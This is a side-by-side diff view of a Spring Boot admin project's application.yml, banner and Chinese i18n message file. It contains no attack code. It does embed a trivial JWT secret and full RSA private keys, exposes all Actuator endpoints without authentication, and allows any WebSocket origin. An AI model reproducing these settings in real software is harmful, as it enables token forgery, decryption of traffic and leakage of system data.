# HTTP post内容的最大大小。当值为-1时默认值为大小是无限的 # HTTP post内容的最大大小。当值为-1时默认值为大小是无限的
max-http-post-size: -1 max-http-post-size: -1
# 以下的配置会影响buffer,这些buffer会用于服务器连接的IO操作,有点类似netty的池化内存管理 # 以下的配置会影响buffer,这些buffer会用于服务器连接的IO操作,有点类似netty的池化内存管理
# 每块buffer的空间大小,越小的空间被利用越充分 # 每块buffer的空间大小,越小的空间被利用越充分
buffer-size: 512 buffer-size: 512
# 是否分配的直接内存 # 是否分配的直接内存
direct-buffers: true direct-buffers: true
threads: threads:
# 设置IO线程数, 它主要执行非阻塞的任务,它们会负责多个连接, 默认设置每个CPU核心一个线程 # 设置IO线程数, 它主要执行非阻塞的任务,它们会负责多个连接, 默认设置每个CPU核心一个线程
io: 8 io: 8
# 阻塞任务线程池, 当执行类似servlet请求阻塞操作, undertow会从这个线程池中取得线程,它的值设置取决于系统的负载 # 阻塞任务线程池, 当执行类似servlet请求阻塞操作, undertow会从这个线程池中取得线程,它的值设置取决于系统的负载
worker: 256 worker: 256
# 日志配置 # 日志配置
logging: logging:
level: level:
org.dromara: @logging.level@ org.dromara: info
org.springframework: warn org.springframework: warn
org.mybatis.spring.mapper: error org.mybatis.spring.mapper: error
org.apache.fury: warn org.apache.fury: warn
config: classpath:logback-plus.xml config: classpath:logback-plus.xml
# 用户配置 # 用户配置
user: user:
password: password:
# 密码最大错误次数 # 密码最大错误次数
maxRetryCount: 5 maxRetryCount: 5
# 密码锁定时间默认10分钟 # 密码锁定时间默认10分钟
lockTime: 10 lockTime: 10
# Spring配置 # Spring配置
spring: spring:
application: application:
name: ${ruoyi.name} name: ${ruoyi.name}
threads: threads:
# 开启虚拟线程 仅jdk21可用 # 开启虚拟线程 仅jdk21可用
virtual: virtual:
enabled: false enabled: false
# 资源信息 # 资源信息
messages: messages:
# 国际化资源文件路径 # 国际化资源文件路径
basename: i18n/messages basename: i18n/messages
profiles: profiles:
active: @profiles.active@ active: dev
# 文件上传 # 文件上传
servlet: servlet:
multipart: multipart:
# 单个文件大小 # 单个文件大小
max-file-size: 10MB max-file-size: 10MB
# 设置总上传的文件大小 # 设置总上传的文件大小
max-request-size: 20MB max-request-size: 20MB
mvc: mvc:
# 设置静态资源路径 防止所有请求都去查静态资源 # 设置静态资源路径 防止所有请求都去查静态资源
static-path-pattern: /static/** static-path-pattern: /static/**
format: format:
date-time: yyyy-MM-dd HH:mm:ss date-time: yyyy-MM-dd HH:mm:ss
jackson: jackson:
# 日期格式化 # 日期格式化
date-format: yyyy-MM-dd HH:mm:ss date-format: yyyy-MM-dd HH:mm:ss
serialization: serialization:
# 格式化输出 # 格式化输出
indent_output: false indent_output: false
# 忽略无法转换的对象 # 忽略无法转换的对象
fail_on_empty_beans: false fail_on_empty_beans: false
deserialization: deserialization:
# 允许对象忽略json中不存在的属性 # 允许对象忽略json中不存在的属性
fail_on_unknown_properties: false fail_on_unknown_properties: false
# Sa-Token配置 # Sa-Token配置
sa-token: sa-token:
# token名称 (同时也是cookie名称) # token名称 (同时也是cookie名称)
token-name: Authorization token-name: Authorization
# 是否允许同一账号并发登录 (为true时允许一起登录, 为false时新登录挤掉旧登录) # 是否允许同一账号并发登录 (为true时允许一起登录, 为false时新登录挤掉旧登录)
is-concurrent: true is-concurrent: true
# 在多人登录同一账号时是否共用一个token (为true时所有登录共用一个token, 为false时每次登录新建一个token) # 在多人登录同一账号时是否共用一个token (为true时所有登录共用一个token, 为false时每次登录新建一个token)
is-share: false is-share: false
# jwt秘钥 # jwt秘钥
jwt-secret-key: abcdefghijklmnopqrstuvwxyz jwt-secret-key: abcdefghijklmnopqrstuvwxyz
# security配置 # security配置
security: security:
# 排除路径 # 排除路径
excludes: excludes:
- /*.html - /*.html
- /**/*.html - /**/*.html
- /**/*.css - /**/*.css
- /**/*.js - /**/*.js
- /favicon.ico - /favicon.ico
- /error - /error
- /*/api-docs - /*/api-docs
- /*/api-docs/** - /*/api-docs/**
# actuator 监控配置 # actuator 监控配置
- /actuator - /actuator
- /actuator/** - /actuator/**
- /banner - /banner
- /banner/** - /banner/**
- /prod/** - /prod/**
- /notifyCheckSign - /notifyCheckSign
- /system/dict/data/** - /system/dict/data/**
- /work/panorama/listByOrderId - /work/panorama/listByOrderId
- /wx/jssdk - /wx/jssdk
- /api/user/**
# 多租户配置 - /api/home/**
tenant:
# 是否开启 # 多租户配置
enable: false tenant:
# 排除表 # 是否开启
excludes: enable: false
- sys_menu # 排除表
- sys_tenant excludes:
- sys_tenant_package - sys_menu
- sys_role_dept - sys_tenant
- sys_role_menu - sys_tenant_package
- sys_user_post - sys_role_dept
- sys_user_role - sys_role_menu
- sys_client - sys_user_post
- sys_oss_config - sys_user_role
- sys_client
# MyBatisPlus配置 - sys_oss_config
# https://baomidou.com/config/
mybatis-plus: # MyBatisPlus配置
# 多包名使用 例如 org.dromara.**.mapper,org.xxx.**.mapper # https://baomidou.com/config/
mapperPackage: org.dromara.**.mapper mybatis-plus:
# 对应的 XML 文件位置 # 多包名使用 例如 org.dromara.**.mapper,org.xxx.**.mapper
mapperLocations: classpath*:mapper/**/*Mapper.xml mapperPackage: org.dromara.**.mapper
# 实体扫描多个package用逗号或者分号分隔 # 对应的 XML 文件位置
typeAliasesPackage: org.dromara.**.domain mapperLocations: classpath*:mapper/**/*Mapper.xml
global-config: # 实体扫描多个package用逗号或者分号分隔
dbConfig: typeAliasesPackage: org.dromara.**.domain
# 主键类型 global-config:
# AUTO 自增 NONE 空 INPUT 用户输入 ASSIGN_ID 雪花 ASSIGN_UUID 唯一 UUID dbConfig:
# 如需改为自增 需要将数据库表全部设置为自增 # 主键类型
idType: AUTO # AUTO 自增 NONE 空 INPUT 用户输入 ASSIGN_ID 雪花 ASSIGN_UUID 唯一 UUID
# 如需改为自增 需要将数据库表全部设置为自增
# 数据加密 idType: AUTO
mybatis-encryptor:
# 是否开启加密 # 数据加密
enable: false mybatis-encryptor:
# 默认加密算法 # 是否开启加密
algorithm: BASE64 enable: false
# 编码方式 BASE64/HEX。默认BASE64 # 默认加密算法
encode: BASE64 algorithm: BASE64
# 安全秘钥 对称算法的秘钥 如AESSM4 # 编码方式 BASE64/HEX。默认BASE64
password: encode: BASE64
# 公私对称算法的公私钥 如:SM2RSA # 安全秘钥 对称算法的钥 如:AESSM4
publicKey: password:
privateKey: # 公私钥 非对称算法的公私钥 如SM2RSA
publicKey:
# api接口加密 privateKey:
api-decrypt:
# 是否开启全局接口加密 # api接口加密
enabled: true api-decrypt:
# AES 加密头标识 # 是否开启全局接口加密
headerFlag: encrypt-key enabled: true
# 响应加密公钥 非对称算法的公私钥 如SM2RSA 使用者请自行更换 # AES 加密头标识
# 对应前端解密私钥 MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAmc3CuPiGL/LcIIm7zryCEIbl1SPzBkr75E2VMtxegyZ1lYRD+7TZGAPkvIsBcaMs6Nsy0L78n2qh+lIZMpLH8wIDAQABAkEAk82Mhz0tlv6IVCyIcw/s3f0E+WLmtPFyR9/WtV3Y5aaejUkU60JpX4m5xNR2VaqOLTZAYjW8Wy0aXr3zYIhhQQIhAMfqR9oFdYw1J9SsNc+CrhugAvKTi0+BF6VoL6psWhvbAiEAxPPNTmrkmrXwdm/pQQu3UOQmc2vCZ5tiKpW10CgJi8kCIFGkL6utxw93Ncj4exE/gPLvKcT+1Emnoox+O9kRXss5AiAMtYLJDaLEzPrAWcZeeSgSIzbL+ecokmFKSDDcRske6QIgSMkHedwND1olF8vlKsJUGK3BcdtM8w4Xq7BpSBwsloE= headerFlag: encrypt-key
publicKey: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJnNwrj4hi/y3CCJu868ghCG5dUj8wZK++RNlTLcXoMmdZWEQ/u02RgD5LyLAXGjLOjbMtC+/J9qofpSGTKSx/MCAwEAAQ== # 响应加密公钥 非对称算法的公私钥 如SM2RSA 使用者请自行更换
# 请求解密私钥 非对称算法的公私钥 如SM2RSA 使用者请自行更换 # 对应前端解密私钥 MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAmc3CuPiGL/LcIIm7zryCEIbl1SPzBkr75E2VMtxegyZ1lYRD+7TZGAPkvIsBcaMs6Nsy0L78n2qh+lIZMpLH8wIDAQABAkEAk82Mhz0tlv6IVCyIcw/s3f0E+WLmtPFyR9/WtV3Y5aaejUkU60JpX4m5xNR2VaqOLTZAYjW8Wy0aXr3zYIhhQQIhAMfqR9oFdYw1J9SsNc+CrhugAvKTi0+BF6VoL6psWhvbAiEAxPPNTmrkmrXwdm/pQQu3UOQmc2vCZ5tiKpW10CgJi8kCIFGkL6utxw93Ncj4exE/gPLvKcT+1Emnoox+O9kRXss5AiAMtYLJDaLEzPrAWcZeeSgSIzbL+ecokmFKSDDcRske6QIgSMkHedwND1olF8vlKsJUGK3BcdtM8w4Xq7BpSBwsloE=
# 对应前端加密公钥 MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKoR8mX0rGKLqzcWmOzbfj64K8ZIgOdHnzkXSOVOZbFu/TJhZ7rFAN+eaGkl3C4buccQd/EjEsj9ir7ijT7h96MCAwEAAQ== publicKey: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJnNwrj4hi/y3CCJu868ghCG5dUj8wZK++RNlTLcXoMmdZWEQ/u02RgD5LyLAXGjLOjbMtC+/J9qofpSGTKSx/MCAwEAAQ==
privateKey: MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAqhHyZfSsYourNxaY7Nt+PrgrxkiA50efORdI5U5lsW79MmFnusUA355oaSXcLhu5xxB38SMSyP2KvuKNPuH3owIDAQABAkAfoiLyL+Z4lf4Myxk6xUDgLaWGximj20CUf+5BKKnlrK+Ed8gAkM0HqoTt2UZwA5E2MzS4EI2gjfQhz5X28uqxAiEA3wNFxfrCZlSZHb0gn2zDpWowcSxQAgiCstxGUoOqlW8CIQDDOerGKH5OmCJ4Z21v+F25WaHYPxCFMvwxpcw99EcvDQIgIdhDTIqD2jfYjPTY8Jj3EDGPbH2HHuffvflECt3Ek60CIQCFRlCkHpi7hthhYhovyloRYsM+IS9h/0BzlEAuO0ktMQIgSPT3aFAgJYwKpqRYKlLDVcflZFCKY7u3UP8iWi1Qw0Y= # 请求解密私钥 非对称算法的公私钥 如SM2RSA 使用者请自行更换
# 对应前端加密公钥 MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKoR8mX0rGKLqzcWmOzbfj64K8ZIgOdHnzkXSOVOZbFu/TJhZ7rFAN+eaGkl3C4buccQd/EjEsj9ir7ijT7h96MCAwEAAQ==
springdoc: privateKey: MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAqhHyZfSsYourNxaY7Nt+PrgrxkiA50efORdI5U5lsW79MmFnusUA355oaSXcLhu5xxB38SMSyP2KvuKNPuH3owIDAQABAkAfoiLyL+Z4lf4Myxk6xUDgLaWGximj20CUf+5BKKnlrK+Ed8gAkM0HqoTt2UZwA5E2MzS4EI2gjfQhz5X28uqxAiEA3wNFxfrCZlSZHb0gn2zDpWowcSxQAgiCstxGUoOqlW8CIQDDOerGKH5OmCJ4Z21v+F25WaHYPxCFMvwxpcw99EcvDQIgIdhDTIqD2jfYjPTY8Jj3EDGPbH2HHuffvflECt3Ek60CIQCFRlCkHpi7hthhYhovyloRYsM+IS9h/0BzlEAuO0ktMQIgSPT3aFAgJYwKpqRYKlLDVcflZFCKY7u3UP8iWi1Qw0Y=
api-docs:
# 是否开启接口文档 springdoc:
enabled: true api-docs:
# swagger-ui: # 是否开启接口文档
# # 持久化认证数据 enabled: true
# persistAuthorization: true # swagger-ui:
info: # # 持久化认证数据
# 标题 # persistAuthorization: true
title: '标题:${ruoyi.name}效果图业务系统_接口文档' info:
# 描述 # 标题
description: '描述:效果图业务系统接口文档' title: '标题:若依效果图业务系统_接口文档'
# 版本 # 描述
version: '版本号: ${ruoyi.version}' description: '描述:效果图业务系统接口文档'
# 作者信息 # 版本
contact: version: '版本号: 5.2.3'
name: Maosw # 作者信息
email: 136767481@qq.com contact:
components: name: Maosw
# 鉴权方式配置 email: 136767481@qq.com
security-schemes: components:
apiKey: # 鉴权方式配置
type: APIKEY security-schemes:
in: HEADER apiKey:
name: ${sa-token.token-name} type: APIKEY
#这里定义了两个分组,可定义多个,也可以不定义 in: HEADER
group-configs: name: ${sa-token.token-name}
- group: 1.通用模块 #这里定义了两个分组,可定义多个,也可以不定义
packages-to-scan: org.dromara.web group-configs:
- group: 2.系统模块 - group: 1.通用模块
packages-to-scan: org.dromara.system packages-to-scan: org.dromara.web
- group: 3.业务模块 - group: 2.系统模块
packages-to-scan: org.dromara.work packages-to-scan: org.dromara.system
- group: 3.业务模块
packages-to-scan: org.dromara.work
# 防止XSS攻击
xss:
# 过滤开关 # 防止XSS攻击
enabled: true xss:
# 排除链接(多个用逗号分隔) # 过滤开关
excludeUrls: enabled: true
- /system/notice # 排除链接(多个用逗号分隔)
- /workflow/model/save excludeUrls:
- /workflow/model/editModelXml - /system/notice
- /work/prod - /workflow/model/save
- /workflow/model/editModelXml
# 全局线程池相关配置 - /work/prod
# 如使用JDK21请直接使用虚拟线程 不要开启此配置
thread-pool: # 全局线程池相关配置
# 是否开启线程池 # 如使用JDK21请直接使用虚拟线程 不要开启此配置
enabled: false thread-pool:
# 队列最大长度 # 是否开启线程池
queueCapacity: 128 enabled: false
# 线程池维护线程所允许的空闲时间 # 队列最大长度
keepAliveSeconds: 300 queueCapacity: 128
# 线程池维护线程所允许的空闲时间
--- # 分布式锁 lock4j 全局配置 keepAliveSeconds: 300
lock4j:
# 获取分布式锁超时时间,默认为 3000 毫秒 --- # 分布式锁 lock4j 全局配置
acquire-timeout: 3000 lock4j:
# 分布式锁超时时间,默认为 30 # 获取分布式锁超时时间,默认为 3000 毫秒
expire: 30000 acquire-timeout: 3000
# 分布式锁的超时时间,默认为 30 秒
--- # Actuator 监控端点的配置项 expire: 30000
management:
endpoints: --- # Actuator 监控端点的配置项
web: management:
exposure: endpoints:
include: '*' web:
endpoint: exposure:
health: include: '*'
show-details: ALWAYS endpoint:
logfile: health:
external-file: ./logs/sys-console.log show-details: ALWAYS
logfile:
--- # 默认/推荐使用sse推送 external-file: ./logs/sys-console.log
sse:
enabled: true --- # 默认/推荐使用sse推送
path: /resource/sse sse:
enabled: true
--- # websocket path: /resource/sse
websocket:
# 如果关闭 需要和前端开关一起关闭 --- # websocket
enabled: true websocket:
# 路径 # 如果关闭 需要和前端开关一起关闭
path: /resource/websocket enabled: true
# 设置访问源地址 # 路径
allowedOrigins: '*' path: /resource/websocket
# 设置访问源地址
--- #flowable配置 allowedOrigins: '*'
flowable:
# 开关 用于启动/停用工作流 --- #flowable配置
enabled: true flowable:
process.enabled: ${flowable.enabled} # 开关 用于启动/停用工作流
eventregistry.enabled: ${flowable.enabled} enabled: true
async-executor-activate: false #关闭定时任务JOB process.enabled: ${flowable.enabled}
# 将databaseSchemaUpdate设置为true。当Flowable发现库与数据库表结构不一致时会自动将数据库表结构升级至新版本。 eventregistry.enabled: ${flowable.enabled}
database-schema-update: true async-executor-activate: false #关闭定时任务JOB
activity-font-name: 宋体 # 将databaseSchemaUpdate设置为true。当Flowable发现库与数据库表结构不一致时会自动将数据库表结构升级至新版本。
label-font-name: 宋体 database-schema-update: true
annotation-font-name: 宋体 activity-font-name: 宋体
# 关闭各个模块生成表,目前只使用工作流基础表 label-font-name: 宋体
idm: annotation-font-name: 宋体
enabled: false # 关闭各个模块生成表,目前只使用工作流基础表
cmmn: idm:
enabled: false enabled: false
dmn: cmmn:
enabled: false enabled: false
app: dmn:
enabled: false enabled: false
app:
enabled: false

View File

@@ -1,8 +1,8 @@
Application Version: ${revision} Application Version: 5.2.3
Spring Boot Version: ${spring-boot.version} Spring Boot Version: ${spring-boot.version}
__________ _____.___.__ ____ ____ __________.__ __________ _____.___.__ ____ ____ __________.__
\______ \__ __ ____\__ | |__| \ \ / /_ __ ____ \______ \ | __ __ ______ \______ \__ __ ____\__ | |__| \ \ / /_ __ ____ \______ \ | __ __ ______
| _/ | \/ _ \/ | | | ______ \ Y / | \_/ __ \ ______ | ___/ | | | \/ ___/ | _/ | \/ _ \/ | | | ______ \ Y / | \_/ __ \ ______ | ___/ | | | \/ ___/
| | \ | ( <_> )____ | | /_____/ \ /| | /\ ___/ /_____/ | | | |_| | /\___ \ | | \ | ( <_> )____ | | /_____/ \ /| | /\ ___/ /_____/ | | | |_| | /\___ \
|____|_ /____/ \____// ______|__| \___/ |____/ \___ > |____| |____/____//____ > |____|_ /____/ \____// ______|__| \___/ |____/ \___ > |____| |____/____//____ >
\/ \/ \/ \/ \/ \/ \/ \/

View File

@@ -1,61 +1,61 @@
#\u9519\u8BEF\u6D88\u606F #\u9519\u8BEF\u6D88\u606F
not.null=* \u5FC5\u987B\u586B\u5199 not.null=* \u5FC5\u987B\u586B\u5199
user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF
user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548
user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728. user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728.
user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF
user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664 user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664
user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
user.logout.success=\u9000\u51FA\u6210\u529F user.logout.success=\u9000\u51FA\u6210\u529F
length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A
user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934
user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A
user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26
user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF
user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A
user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A
user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF
user.login.success=\u767B\u5F55\u6210\u529F user.login.success=\u767B\u5F55\u6210\u529F
user.register.success=\u6CE8\u518C\u6210\u529F user.register.success=\u6CE8\u518C\u6210\u529F
user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728 user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728
user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458 user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458
user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55
user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55
user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55
auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF
auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528 auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528
auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A
auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A
##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F ##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F
upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01<br/>\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01<br/>\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01
upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26
##\u6743\u9650 ##\u6743\u9650
no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5
rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5
sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A
sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
